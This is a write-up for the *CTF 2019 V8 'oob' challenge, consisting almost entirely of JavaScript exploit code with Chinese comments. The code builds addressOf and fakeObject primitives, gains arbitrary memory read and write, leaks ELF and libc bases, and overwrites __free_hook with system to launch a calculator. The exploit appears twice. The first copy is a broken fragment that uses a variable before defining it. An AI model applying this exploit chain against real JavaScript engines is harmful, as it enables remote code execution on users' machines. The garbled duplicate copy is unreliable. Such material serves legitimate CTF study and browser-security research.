starctf2019-v8-oob 分析

var buf = new ArrayBuffer(16)
var float64 = new Float64Array(buf)
var bigUint64 = new BigUint64Array(buf)

function f2i(f) // 将浮点数转成整数
{
	float64[0] = f;
	return bigUint64[0];
}

function i2f(i) // 将整数转成浮点数
{
	bigUint64[0] = i;
	return float64[0];
}
//两个数组操作同一片内存，实现64位浮点数与64位整数之间的转换
function hex(i)
{
	return i.toString(16).padStart(16, "0");
}

var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

function addressOf(obj) // obj -> float addr
{
	obj_array[0] = obj;
	obj_array.oob(float_array_map);// 将obj_array类型变成float型
	
	var object_addr = obj_array[0];// 这样就会将第一个对象地址当成浮点数输出
	obj_array.oob(obj_array_map); // 将obj_array类型复原
	return f2i(object_addr)-1n; // 得到的是指针，所以需要减1才是真实地址
}
//如果未将obj_array类型变成float型，直接输出，输出的是 0x7ff7ffffffffffff。
function fakeObject(addr) // float addr -> obj
{
	var obj_addr = i2f(addr + 1n); // +1变成指针
	float_array[0] = obj_addr;     // 将地址存入float_array[0]，并修改float_array类型为obj array
	float_array.oob(obj_array_map);

	var fake_object = float_array[0];//这样就会将传入的地址当成是一个对象的地址
	float_array.oob(float_array_map); // 将数组类型还原
	return fake_object;
}

var fake_array = [
	float_array_map,
	i2f(0n),
	i2f(0x41414141n),
	i2f(0x1000000000n),
	1.1,
	2.2
];

%DebugPrint(fake_array); // fake array map address
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);


function read64(addr)
{
	fake_array[2] = i2f(addr + 0x1n - 0x10n);// 传入地址+1变成指针，因为elements属性前面还有map和length占0x10个字节，所以要先扣除
	var leak_info = f2i(fake_object[0]);
	//console.log("[*] leak addr: 0x" + hex(addr) + " data: 0x" + hex(leak_info));
	return leak_info;
}

function write64(addr, data)
{
	fake_array[2] = i2f(addr + 0x1n - 0x10n);
	fake_object[0] = i2f(data);
	//console.log("[*] write data to addr: 0x" + hex(addr) + " data: 0x" + hex(data));
}

var elf_base = leak_constructor_addr - 0xFC8780n;
console.log("[*] elf_base: 0x" + hex(elf_base));
var free_got_addr = elf_base + 0x12AA8B8n;
var free_addr = read64(free_got_addr);
var libc_base = free_addr - 0x9d850n;
console.log("[*] libc_base: 0x" + hex(libc_base));
var system_addr = libc_base + 0x55410n;
console.log("[*] system_addr: 0x" + hex(system_addr));
var free_hook_addr = libc_base + 0x1eeb28n;
console.log("[*] free_hook_addr: 0x" + hex(free_hook_addr));

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var backing_store_addr = addressOf(data_buf) + 0x20n;

function dataview_write64(addr, data)
{
	write64(backing_store_addr, addr);
	data_view.setFloat64(0, i2f(data), true);
}

var buf = new ArrayBuffer(16)
var float64 = new Float64Array(buf)
var bigUint64 = new BigUint64Array(buf)

function f2i(f)
{
	float64[0] = f;
	return bigUint64[0];
}

function i2f(i)
{
	bigUint64[0] = i;
	return float64[0];
}

function hex(i)
{
	return i.toString(16).padStart(16, "0");
}

var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

function addressOf(obj) // obj -> float addr
{
	obj_array[0] = obj;
	obj_array.oob(float_array_map);
	
	var object_addr = obj_array[0];
	obj_array.oob(obj_array_map);
	return f2i(object_addr)-1n;
}

function fakeObject(addr) // float addr -> obj
{
	var obj_addr = i2f(addr + 1n);
	float_array[0] = obj_addr; 
	float_array.oob(obj_array_map);

	var fake_object = float_array[0]; 
	float_array.oob(float_array_map);
	return fake_object;
}

var fake_array = [
	float_array_map,
	i2f(0n),
	i2f(0x41414141n),
	i2f(0x1000000000n),
	1.1,
	2.2
];

%DebugPrint(fake_array); // fake array map address
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);


function read64(addr)
{
	fake_array[2] = i2f(addr + 0x1n - 0x10n);
	var leak_info = f2i(fake_object[0]);
	//console.log("[*] leak addr: 0x" + hex(addr) + " data: 0x" + hex(leak_info));
	return leak_info;
}

function write64(addr, data)
{
	fake_array[2] = i2f(addr + 0x1n - 0x10n);
	fake_object[0] = i2f(data);
	//console.log("[*] write data to addr: 0x" + hex(addr) + " data: 0x" + hex(data));
}

var a = [1.1, 2.2];

var leak_code_addr = read64(addressOf(a.constructor) + 0x30n);
console.log("[*] leak code addr : 0x" + hex(leak_code_addr));
var leak_constructor_addr = read64(leak_code_addr + 0x41n);
console.log("[*] leak constructor addr : 0x" + hex(leak_constructor_addr));

var elf_base = leak_constructor_addr - 0xFC8780n;
console.log("[*] elf_base: 0x" + hex(elf_base));
var free_got_addr = elf_base + 0x12AA8B8n;
var free_addr = read64(free_got_addr);
var libc_base = free_addr - 0x9d850n;
console.log("[*] libc_base: 0x" + hex(libc_base));
var system_addr = libc_base + 0x55410n;
console.log("[*] system_addr: 0x" + hex(system_addr));
var free_hook_addr = libc_base + 0x1eeb28n;
console.log("[*] free_hook_addr: 0x" + hex(free_hook_addr));

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var backing_store_addr = addressOf(data_buf) + 0x20n;

function dataview_write64(addr, data)
{
	write64(backing_store_addr, addr);
	data_view.setFloat64(0, i2f(data), true);
}

function get_shell()
{
	let buffer = new ArrayBuffer(0x1000);
	let dataview = new DataView(buffer);
	dataview.setFloat64(0, i2f(0x6e69622f7273752fn), true); // /usr/bin/gnome-calculator
	dataview.setFloat64(8, i2f(0x632d656d6f6e672fn), true); //
	dataview.setFloat64(16, i2f(0x6f74616c75636c61n), true); // 
	dataview.setFloat64(24, i2f(0x72n), true);
	dataview_write64(free_hook_addr, system_addr);
}
get_shell();